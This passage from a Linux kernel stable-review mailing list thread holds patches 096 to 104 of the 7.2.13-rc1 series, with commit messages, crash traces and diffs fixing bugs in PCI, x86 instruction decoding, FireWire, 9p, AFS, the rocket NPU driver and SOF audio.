* [PATCH 7.2 096/242] PCI: Dont treat ~0 as ready in pci_dev_wait() with RRS SV
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (93 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 095/242] PCI: Ignore Immediate Readiness on Samsung 990 PRO and 990 EVO Plus NVMe Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 097/242] x86/insn-eval: Fix shadowed segment index in get_seg_reg_override_idx() Greg Kroah-Hartman
` (146 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Lukas Wunner, Alexander Gruhlke,
Bjorn Helgaas, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Alexander Gruhlke <gruhlke@mailbox.org>
[ Upstream commit e8df1d194c39b7a5159d570798941851f70a8668 ]
With RRS Software Visibility, pci_dev_wait() considers a device ready as
soon as reading the Vendor ID doesn't return the RRS value. Devices aren't
required to respond with RRS while they aren't ready, so the read may
return ~0 and pci_dev_wait() stops waiting too early. This was seen with
Intel [8086:0a54] and Samsung [144d:a80c] NVMe SSDs.
Also wait while the Vendor ID reads ~0. A VF's Vendor ID always reads ~0,
so check its Command register instead, as is done without RRS SV.
Fixes: d591f6804e7e ("PCI: Wait for device readiness with Configuration RRS")
Link: https://lore.kernel.org/r/20250611101442.387378-1-hui.wang@canonical.com
Suggested-by: Lukas Wunner <lukas@wunner.de>
Assisted-by: Claude:claude-opus-5-5
Signed-off-by: Alexander Gruhlke <gruhlke@mailbox.org>
Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
Reviewed-by: Lukas Wunner <lukas@wunner.de>
Link: https://patch.msgid.link/20261011190145.23621-3-gruhlke@mailbox.org
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/pci/pci.c | 15 +++++++++++----
1 file changed, 11 insertions(+), 4 deletions(-)
diff --git a/drivers/pci/pci.c b/drivers/pci/pci.c
index 80d2338b2a0a8..c8be53376ff3b 100644
--- a/drivers/pci/pci.c
+++ b/drivers/pci/pci.c
@@ -1213,9 +1213,11 @@ static int pci_dev_wait(struct pci_dev *dev, char *reset_type, int timeout)
* initialize.
*
* If the device is below a Root Port with Configuration RRS
- * Software Visibility enabled, reading the Vendor ID returns a
+ * Software Visibility enabled, reading the Vendor ID may return a
* special data value if the device responded with RRS. Read the
- * Vendor ID until we get non-RRS status.
+ * Vendor ID until we get non-RRS status and something other than
+ * ~0. The Vendor ID of VFs reads ~0, so check their Command
+ * register instead.
*
* If there's no Root Port or Configuration RRS Software Visibility
* is not enabled, the device may still respond with RRS, but
@@ -1235,8 +1237,13 @@ static int pci_dev_wait(struct pci_dev *dev, char *reset_type, int timeout)
if (root && root->config_rrs_sv) {
pci_read_config_dword(dev, PCI_VENDOR_ID, &id);
- if (!pci_bus_rrs_vendor_id(id))
- break;
+ if (!pci_bus_rrs_vendor_id(id)) {
+ if (PCI_POSSIBLE_ERROR(id) && dev->is_virtfn)
+ pci_read_config_dword(dev, PCI_COMMAND,
+ &id);
+ if (!PCI_POSSIBLE_ERROR(id))
+ break;
+ }
} else {
pci_read_config_dword(dev, PCI_COMMAND, &id);
if (!PCI_POSSIBLE_ERROR(id))
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 097/242] x86/insn-eval: Fix shadowed segment index in get_seg_reg_override_idx()
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (94 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 096/242] PCI: Dont treat ~0 as ready in pci_dev_wait() with RRS SV Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 098/242] firewire: core: fix race condition in split transaction handling Greg Kroah-Hartman
` (145 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Lukas Zobernig, Peter Zijlstra,
Borislav Petkov, Linus Torvalds, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Lukas Zobernig <lukas.zobernig@gmail.com>
[ Upstream commit 32c52ec87d6245ee2d12ed5dd509e40062939b50 ]
Commit 45e1dccc0653 ("x86/insn: Simplify for_each_insn_prefix()") made
for_each_insn_prefix() declare its own loop counter named idx.
get_seg_reg_override_idx() keeps its result in a local of the same name,
so the assignments in the loop body now write the loop counter:
- the function always returns INAT_SEG_REG_DEFAULT, so FS and GS
overrides are ignored;
- a CS override sets the counter to INAT_SEG_REG_CS (2), the increment
makes it 3, and prefixes.bytes[3] holds the last prefix, 0x2e again,
so the loop never terminates.
The UMIP emulation reaches this from the #GP handler for user space: an
SGDT, SIDT or SMSW with a memory operand and a CS prefix leaves the task
spinning in the kernel, never returning to user space, with a SIGKILL
that is never delivered. Any user can thus tie up CPUs until reboot.
With an FS or GS prefix, the emulated result is written to the wrong
address.
Rename the internal macro iterator variable.
[ Lukas' original patch renamed the use site, I changed it to rename the
iterator in the macro instead, but left Lukas' commit message and
authorship - Linus ]
Fixes: 45e1dccc0653 ("x86/insn: Simplify for_each_insn_prefix()")
Signed-off-by: Lukas Zobernig <lukas.zobernig@gmail.com>
Acked-by: Peter Zijlstra <peterz@infradead.org>
Acked-by: Borislav Petkov <bp@alien8.de>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
arch/x86/include/asm/insn.h | 2 +-
tools/arch/x86/include/asm/insn.h | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/arch/x86/include/asm/insn.h b/arch/x86/include/asm/insn.h
index 846d21c1a7f88..8fb92da1a2c46 100644
--- a/arch/x86/include/asm/insn.h
+++ b/arch/x86/include/asm/insn.h
@@ -321,7 +321,7 @@ static inline int insn_offset_immediate(struct insn *insn)
* are repeated, it cannot be used for looping over the prefixes.
*/
#define for_each_insn_prefix(insn, prefix) \
- for (int idx = 0; idx < ARRAY_SIZE(insn->prefixes.bytes) && (prefix = insn->prefixes.bytes[idx]) != 0; idx++)
+ for (int __i = 0; __i < ARRAY_SIZE(insn->prefixes.bytes) && (prefix = insn->prefixes.bytes[__i]) != 0; __i++)
#define POP_SS_OPCODE 0x1f
#define MOV_SREG_OPCODE 0x8e
diff --git a/tools/arch/x86/include/asm/insn.h b/tools/arch/x86/include/asm/insn.h
index 8f10f29433703..1d2903508bbeb 100644
--- a/tools/arch/x86/include/asm/insn.h
+++ b/tools/arch/x86/include/asm/insn.h
@@ -321,7 +321,7 @@ static inline int insn_offset_immediate(struct insn *insn)
* are repeated, it cannot be used for looping over the prefixes.
*/
#define for_each_insn_prefix(insn, prefix) \
- for (int idx = 0; idx < ARRAY_SIZE(insn->prefixes.bytes) && (prefix = insn->prefixes.bytes[idx]) != 0; idx++)
+ for (int __i = 0; __i < ARRAY_SIZE(insn->prefixes.bytes) && (prefix = insn->prefixes.bytes[__i]) != 0; __i++)
#define POP_SS_OPCODE 0x1f
#define MOV_SREG_OPCODE 0x8e
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 098/242] firewire: core: fix race condition in split transaction handling
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (95 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 097/242] x86/insn-eval: Fix shadowed segment index in get_seg_reg_override_idx() Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 099/242] 9p: free the session after a grace period Greg Kroah-Hartman
` (144 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Takashi Sakamoto, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Takashi Sakamoto <o-takashi@sakamocchi.jp>
[ Upstream commit 7f9f2d6abc40f79e802b4063859eda343043b85c ]
For a split transaction, either fw_core_handle_response() or
split_transaction_timeout_callback() may manipulate the same transaction
entry in the pending transaction list. The return value of timer_delete()
is used to determine which function handles the entry. If the transaction
is a split transaction and timer_delete() returns zero, the timeout
callback may already be running. In this case, the response handler must
leave the entry in the list for the timeout callback to remove.
A previous code refactoring broke this behavior, introducing a race
condition in which both functions could process the same transaction.
This could lead to a use-after-free on the transaction initiator side.
Fix the regression by ensuring that the response handler does not process
the transaction when timer_delete() returns zero. The timeout callback is
responsible for removing the entry from the pending transaction list.
Fixes: fa2dc2710076 ("firewire: core: code refactoring to find and pop transaction entry")
Link: https://lore.kernel.org/r/20261018025504.290598-1-o-takashi@sakamocchi.jp
Signed-off-by: Takashi Sakamoto <o-takashi@sakamocchi.jp>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/firewire/core-transaction.c | 8 ++++++--
1 file changed, 6 insertions(+), 2 deletions(-)
diff --git a/drivers/firewire/core-transaction.c b/drivers/firewire/core-transaction.c
index 22ae387ae03ca..016070560c742 100644
--- a/drivers/firewire/core-transaction.c
+++ b/drivers/firewire/core-transaction.c
@@ -89,8 +89,12 @@ void fw_cancel_pending_transactions(struct fw_card *card)
break; \
} \
} \
- if (t && try_cancel_split_timeout(t)) \
- remove_transaction_entry(card, t); \
+ if (t) { \
+ if (try_cancel_split_timeout(t)) \
+ remove_transaction_entry(card, t); \
+ else \
+ t = NULL; \
+ } \
t; \
})
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 099/242] 9p: free the session after a grace period
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (96 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 098/242] firewire: core: fix race condition in split transaction handling Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 100/242] accel/rocket: search every core slot when a core is removed Greg Kroah-Hartman
` (143 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Christian Brauner (Amutable)
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <brauner@kernel.org>
commit bcec7fc2e224088daf94448d663b02e0d0b9c717 upstream.
v9fs_vfs_get_link_dotl() reads ->cache from the v9fs_session_info in
sb->s_fs_info to decide whether the symlink target sits in the page
cache. It does that before it looks at the dentry, so it also does it in
rcu pathwalk mode. Without loose or metadata caching the dentries have
no ->d_revalidate() that would make the walk leave rcu mode before it
gets there.
v9fs_kill_super() frees the session and clears sb->s_fs_info without
waiting for a grace period. Right now a pathwalk can't still be in
v9fs_vfs_get_link_dotl() at that point, but only by accident. umount(2)
waits for a grace period in namespace_unlock() before it drops the
mount. And a mount whose last reference goes away elsewhere, like the
chdir out of a lazily unmounted directory, still gets a grace period
from bdi_unregister(). v9fs_fill_super() sets up a private bdi, so
generic_shutdown_super() unregisters it from kill_anon_super() and
bdi_remove_from_list() waits in synchronize_rcu_expedited() before
v9fs_kill_super() frees the session. That grace period protects the rcu
readers of bdi_list in the writeback code. It has nothing to do with
pathwalk.
Don't rely on it. Keep sb->s_fs_info and free the session after a grace
period.
Fixes: 712da38d134b ("9p: Enable symlink caching in page cache")
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20261009-work-fixes-rcu-v1-3-7446d2d335e6@kernel.org
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/9p/v9fs.h | 1 +
fs/9p/vfs_super.c | 4 ++--
2 files changed, 3 insertions(+), 2 deletions(-)
diff --git a/fs/9p/v9fs.h b/fs/9p/v9fs.h
index a462bcbfc7da..2ac863dc8446 100644
--- a/fs/9p/v9fs.h
+++ b/fs/9p/v9fs.h
@@ -137,6 +137,7 @@ struct v9fs_session_info {
struct list_head slist; /* list of sessions registered with v9fs */
struct rw_semaphore rename_sem;
long session_lock_timeout; /* retry interval for blocking locks */
+ struct rcu_head rcu; /* v9fs_vfs_get_link_dotl() reads ->cache in rcu pathwalk */
};
#define NDENTRY_TIMEOUT_NEVER (-1U)
diff --git a/fs/9p/vfs_super.c b/fs/9p/vfs_super.c
index 94d6b02c221b..79526044685c 100644
--- a/fs/9p/vfs_super.c
+++ b/fs/9p/vfs_super.c
@@ -173,8 +173,8 @@ static void v9fs_kill_super(struct super_block *s)
v9fs_session_cancel(v9ses);
v9fs_session_close(v9ses);
- kfree(v9ses);
- s->s_fs_info = NULL;
+ /* v9fs_vfs_get_link_dotl() may still read ->cache in rcu pathwalk */
+ kfree_rcu(v9ses, rcu);
p9_debug(P9_DEBUG_VFS, "exiting kill_super\n");
}
--
2.56.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 100/242] accel/rocket: search every core slot when a core is removed
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (97 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 099/242] 9p: free the session after a grace period Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 101/242] accel/rocket: search every core slot when looking up a scheduler Greg Kroah-Hartman
` (142 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Igor Paunovic, Heiko Stuebner,
Jiaxing Hu, Sidong Yang
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Igor Paunovic <royalnet026@gmail.com>
commit 6eff1d69dae808a1518aee5a58d0853a8db3f1be upstream.
rocket_remove() decrements rdev->num_cores for each core it removes,
while find_core_for_dev() searches slots 0 to num_cores - 1. Unbinding
the cores in the order they were bound therefore loses the last one: by
the time it is removed the search range has already shrunk past its
slot, so find_core_for_dev() returns -1 and rocket_remove() gives up
without doing anything.
num_cores never reaches zero, rocket_device_fini() never runs, and the
file-scoped rdev keeps pointing at a device that is going away. Binding
the cores again starts from that stale count, because rocket_probe()
takes rdev->num_cores as the slot to fill. On an RK3588, which describes
three cores, the second round lands on slots 1, 2 and 3 while rdev->cores
was allocated with room for three:
rocket fdab0000.npu: Rockchip NPU core 1 version: 1179210309
rocket fdac0000.npu: Rockchip NPU core 2 version: 1179210309
rocket fdad0000.npu: Rockchip NPU core 3 version: 1179210309
The write to rdev->cores[3] is past the end of the array.
Nothing in tree reads the core array often enough to notice, so the
overrun is silent today. It turned up while testing a devfreq series on
top of this, where a worker walks every core a few times a second, and
UBSAN caught the first bool it read out of the overrun entry:
UBSAN: invalid-load in drivers/accel/rocket/rocket_devfreq.c:47:10
load of value 5 is not a valid value for type '_Bool'
Workqueue: devfreq_wq devfreq_monitor
Record how many slots were allocated and search all of them. Every core
is then found on removal, num_cores reaches zero, the device is torn down
and a later bind starts from a clean rdev.
This does not make unbinding a single core out of several work. probe
still takes num_cores as the slot to fill, so rebinding one core while
its siblings stay bound would write over a slot that is already in use,
and rocket_open() still reaches for cores[0] whether or not anything is
there. Both of those want more thought than a fix should carry.
Found by unbinding and rebinding all three cores on an Orange Pi 5 Plus.
With this applied, 25 unbind/rebind rounds and 5 module unload/reload
rounds run clean there: the cores land in slots 0, 1 and 2 every time,
whichever order they are bound in, and the shared supply goes back to a
single user after each round.
Fixes: ed98261b4168 ("accel/rocket: Add a new driver for Rockchip's NPU")
Cc: stable@vger.kernel.org
Signed-off-by: Igor Paunovic <royalnet026@gmail.com>
Assisted-by: LLM sparse checkpatch
Tested-by: Jiaxing Hu <gahing@gahingwoo.com> # RK3576, two cores
Tested-by: Sidong Yang <sidong.yang@furiosa.ai> # RK3588, 3 cores
Signed-off-by: Heiko Stuebner <heiko@sntech.de>
Link: https://patch.msgid.link/20260904125936.26234-1-royalnet026@gmail.com
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/accel/rocket/rocket_device.c | 2 ++
drivers/accel/rocket/rocket_device.h | 1 +
drivers/accel/rocket/rocket_drv.c | 2 +-
3 files changed, 4 insertions(+), 1 deletion(-)
--- a/drivers/accel/rocket/rocket_device.c
+++ b/drivers/accel/rocket/rocket_device.c
@@ -31,6 +31,8 @@ struct rocket_device *rocket_device_init
if (of_device_is_available(core_node))
num_cores++;
+ rdev->max_cores = num_cores;
+
rdev->cores = devm_kcalloc(dev, num_cores, sizeof(*rdev->cores), GFP_KERNEL);
if (!rdev->cores)
return ERR_PTR(-ENOMEM);
--- a/drivers/accel/rocket/rocket_device.h
+++ b/drivers/accel/rocket/rocket_device.h
@@ -19,6 +19,7 @@ struct rocket_device {
struct rocket_core *cores;
unsigned int num_cores;
+ unsigned int max_cores;
};
struct rocket_device *rocket_device_init(struct platform_device *pdev,
--- a/drivers/accel/rocket/rocket_drv.c
+++ b/drivers/accel/rocket/rocket_drv.c
@@ -226,7 +226,7 @@ static int find_core_for_dev(struct devi
{
struct rocket_device *rdev = dev_get_drvdata(dev);
- for (unsigned int core = 0; core < rdev->num_cores; core++) {
+ for (unsigned int core = 0; core < rdev->max_cores; core++) {
if (dev == rdev->cores[core].dev)
return core;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 101/242] accel/rocket: search every core slot when looking up a scheduler
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (98 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 100/242] accel/rocket: search every core slot when a core is removed Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 102/242] afs: free the super info after a grace period Greg Kroah-Hartman
` (141 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Sidong Yang, Igor Paunovic,
Heiko Stuebner
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Igor Paunovic <royalnet026@gmail.com>
commit 89c2c777df17eb0201c8e22afabbf3691f2a28fe upstream.
sched_to_core() walks rdev->cores[] up to rdev->num_cores, and
rocket_remove() decrements num_cores for every core it removes. Unbind a
core that is not the last one and the cores behind it fall outside the
search, so sched_to_core() returns NULL for a core that is still bound and
still running jobs. Neither caller checks the result:
rocket_job_run(): rocket_fence_create(core), core->dev
rocket_job_timedout(): dev_err(core->dev, "NPU job timed out")
Unbinding the middle core of the three on an RK3588 while three clients are
submitting to all of them faults twice, once from the surviving core's
job queue and once from its reset work:
KASAN: null-ptr-deref in range [0x0000000000000220-0x0000000000000227]
Workqueue: fdad0000.npu drm_sched_run_job_work [gpu_sched]
pc : rocket_job_run+0x234/0x838 [rocket]
Call trace:
rocket_job_run+0x234/0x838 [rocket]
drm_sched_run_job_work+0x2cc/0xad8 [gpu_sched]
process_one_work+0x640/0x14f0
KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]
Workqueue: rocket-reset-2 drm_sched_job_timedout [gpu_sched]
pc : rocket_job_timedout+0xf0/0x1e0 [rocket]
Call trace:
rocket_job_timedout+0xf0/0x1e0 [rocket]
drm_sched_job_timedout+0x188/0x6a0 [gpu_sched]
Both are the third core: the workqueue names are its device and its
core->index, and it was left at slot 2 while num_cores had dropped to 2.
Search all the slots that were allocated, the way find_core_for_dev() now
does. A core that is still bound is then found, and the two callers get
the pointer they already assume they have.
This does not make unbinding one core out of several safe. An open client
keeps an entity pointing at the scheduler of the core that went away:
drm_sched reports it as not ready for every job that lands on it, and the
client waits in dma_fence_default_wait for a fence that will never signal.
Stopping the NULL dereference is what belongs in a fix; the rest wants
more thought.
Reported-by: Sidong Yang <sidong.yang@furiosa.ai>
Closes: https://lore.kernel.org/dri-devel/apwUewaRnoTNXHCt@rock-5b-plus/
Fixes: 0810d5ad88a1 ("accel/rocket: Add job submission IOCTL")
Cc: stable@vger.kernel.org
Signed-off-by: Igor Paunovic <royalnet026@gmail.com>
Assisted-by: LLM sparse checkpatch
Signed-off-by: Heiko Stuebner <heiko@sntech.de>
Link: https://patch.msgid.link/20260905150432.7477-1-royalnet026@gmail.com
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/accel/rocket/rocket_job.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/drivers/accel/rocket/rocket_job.c b/drivers/accel/rocket/rocket_job.c
index f40435505818..4bc4f9c8ee40 100644
--- a/drivers/accel/rocket/rocket_job.c
+++ b/drivers/accel/rocket/rocket_job.c
@@ -283,7 +283,7 @@ static struct rocket_core *sched_to_core(struct rocket_device *rdev,
{
unsigned int core;
- for (core = 0; core < rdev->num_cores; core++) {
+ for (core = 0; core < rdev->max_cores; core++) {
if (&rdev->cores[core].sched == sched)
return &rdev->cores[core];
}
--
2.56.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 102/242] afs: free the super info after a grace period
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (99 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 101/242] accel/rocket: search every core slot when looking up a scheduler Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 103/242] ASoC: SOF: ipc4-topology: Fix shift-out-of-bounds for aggregated ALH capture Greg Kroah-Hartman
` (140 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Christian Brauner (Amutable)
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <brauner@kernel.org>
commit 59e483739f2fd14327ece3f60c4995d060ca46b7 upstream.
afs_atcell_get_link() resolves the @cell and .@cell symlinks of a
dynamic root in rcu pathwalk mode. Before it looks at the dentry it gets
the afs_net through afs_i2net(), which reads ->net_ns from the
afs_super_info in sb->s_fs_info. The @cell dentries are kept around when
unused and the dynamic root has no ->d_revalidate(), so a lookup that
finds @cell in the dcache gets to ->get_link() in rcu mode.
afs_kill_super() frees the afs_super_info with a plain kfree() in
afs_destroy_sbi(). Right now a pathwalk can't still be in
afs_atcell_get_link() at that point, but only by accident. umount(2)
waits for a grace period in namespace_unlock() before it drops the
mount. And a mount whose last reference goes away elsewhere, like the
chdir out of a lazily unmounted directory, still gets a grace period
from bdi_unregister(). afs_fill_super() sets up a private bdi, so
generic_shutdown_super() unregisters it from kill_anon_super() and
bdi_remove_from_list() waits in synchronize_rcu_expedited() before
afs_destroy_sbi() runs. That grace period protects the rcu readers of
bdi_list in the writeback code. It has nothing to do with pathwalk.
Don't rely on it and free the afs_super_info after a grace period.
Fixes: 30bca65bbbae ("afs: Make /afs/@cell and /afs/.@cell symlinks")
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20261009-work-fixes-rcu-v1-2-7446d2d335e6@kernel.org
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/afs/internal.h | 2 ++
fs/afs/super.c | 2 +-
2 files changed, 3 insertions(+), 1 deletion(-)
--- a/fs/afs/internal.h
+++ b/fs/afs/internal.h
@@ -251,6 +251,8 @@ struct afs_super_info {
struct afs_volume *volume; /* volume record */
enum afs_flock_mode flock_mode:8; /* File locking emulation mode */
bool dyn_root; /* True if dynamic root */
+ /* afs_atcell_get_link() reads ->net_ns in rcu pathwalk */
+ struct rcu_head rcu;
};
static inline struct afs_super_info *AFS_FS_S(struct super_block *sb)
--- a/fs/afs/super.c
+++ b/fs/afs/super.c
@@ -523,7 +523,7 @@ static void afs_destroy_sbi(struct afs_s
afs_put_volume(as->volume, afs_volume_trace_put_destroy_sbi);
afs_unuse_cell(as->cell, afs_cell_trace_unuse_sbi);
put_net(as->net_ns);
- kfree(as);
+ kfree_rcu(as, rcu);
}
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 103/242] ASoC: SOF: ipc4-topology: Fix shift-out-of-bounds for aggregated ALH capture
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (100 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 102/242] afs: free the super info after a grace period Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 104/242] ASoC: SOF: sof-client: Use event-handler mutex consistently Greg Kroah-Hartman
` (139 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Peter Ujfalusi, Bard Liao,
Mark Brown
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Peter Ujfalusi <peter.ujfalusi@linux.intel.com>
commit 746de48c3a250f0c264105dcbfcdf0c5001e970b upstream.
When ch_count is smaller than blob->alh_cfg.device_count (e.g. a mono
capture stream, such as a SmartMic, aggregated across multiple SDW
links), step = ch_count / blob->alh_cfg.device_count truncates to 0.
The subsequent GENMASK(step - 1, 0) then underflows step - 1 (u32) to
UINT_MAX, causing GENMASK()'s internal shift to use an out-of-bounds
exponent:
UBSAN: shift-out-of-bounds in sound/soc/sof/ipc4-topology.c:2363:13
shift exponent 18446744069414584384 is too large for 64-bit type 'long unsigned int'
Treat ch_count < device_count the same way as the existing "channels
equal to output reference channels" case: apply the same ch_mask to
every aggregated device instead of trying to split channels that
can't be evenly divided.
Fixes: 0390a102cc18 ("ASoC: SOF: ipc4-topology: use different channel mask for each sdw amp feedback")
Cc: stable@vger.kernel.org
Signed-off-by: Peter Ujfalusi <peter.ujfalusi@linux.intel.com>
Reviewed-by: Bard Liao <yung-chuan.liao@linux.intel.com>
Link: https://patch.msgid.link/20261008090130.15135-1-peter.ujfalusi@linux.intel.com
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
sound/soc/sof/ipc4-topology.c | 9 ++++++---
1 file changed, 6 insertions(+), 3 deletions(-)
--- a/sound/soc/sof/ipc4-topology.c
+++ b/sound/soc/sof/ipc4-topology.c
@@ -2352,11 +2352,14 @@ sof_ipc4_prepare_copier_module(struct sn
ch_map >>= 4;
}
- if (swidget->id == snd_soc_dapm_dai_in && ch_count == out_ref_channels) {
+ if ((swidget->id == snd_soc_dapm_dai_in && ch_count == out_ref_channels) ||
+ ch_count < blob->alh_cfg.device_count) {
/*
* For playback DAI widgets where the channel number is equal to
- * the output reference channels, set the step = 0 to ensure all
- * the ch_mask is applied to all alh mappings.
+ * the output reference channels, or when there are fewer
+ * channels than aggregated devices (e.g. a mono capture
+ * stream split across multiple links), set step = 0 to
+ * ensure all the ch_mask is applied to all alh mappings.
*/
mask = ch_mask;
step = 0;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 104/242] ASoC: SOF: sof-client: Use event-handler mutex consistently
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (101 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 103/242] ASoC: SOF: ipc4-topology: Fix shift-out-of-bounds for aggregated ALH capture Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 105/242] autofs: ignore notification errors from a replaced pipe Greg Kroah-Hartman
` (138 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Peter Ujfalusi, Bard Liao,
Mark Brown
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Peter Ujfalusi <peter.ujfalusi@linux.intel.com>
commit f90f8afb61beb268ca8092e7f3a826b520d3e8da upstream.
Protect IPC RX and FW state handler list unregister/dispatch paths with
client_event_handler_mutex to match list registration and locking
comments.
Fixes: 5c19da34df02 ("ASoC: SOF: Use guard()/scoped_guard() for mutex locks where it makes sense")
Cc: stable@vger.kernel.org
Signed-off-by: Peter Ujfalusi <peter.ujfalusi@linux.intel.com>
Reviewed-by: Bard Liao <yung-chuan.liao@linux.intel.com>
Link: https://patch.msgid.link/20261008090143.15158-1-peter.ujfalusi@linux.intel.com
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
sound/soc/sof/sof-client.c | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
--- a/sound/soc/sof/sof-client.c
+++ b/sound/soc/sof/sof-client.c
@@ -576,7 +576,7 @@ void sof_client_unregister_ipc_rx_handle
struct snd_sof_dev *sdev = sof_client_dev_to_sof_dev(cdev);
struct sof_ipc_event_entry *event;
- guard(mutex)(&sdev->ipc_client_mutex);
+ guard(mutex)(&sdev->client_event_handler_mutex);
list_for_each_entry(event, &sdev->ipc_rx_handler_list, list) {
if (event->cdev == cdev && event->ipc_msg_type == ipc_msg_type) {
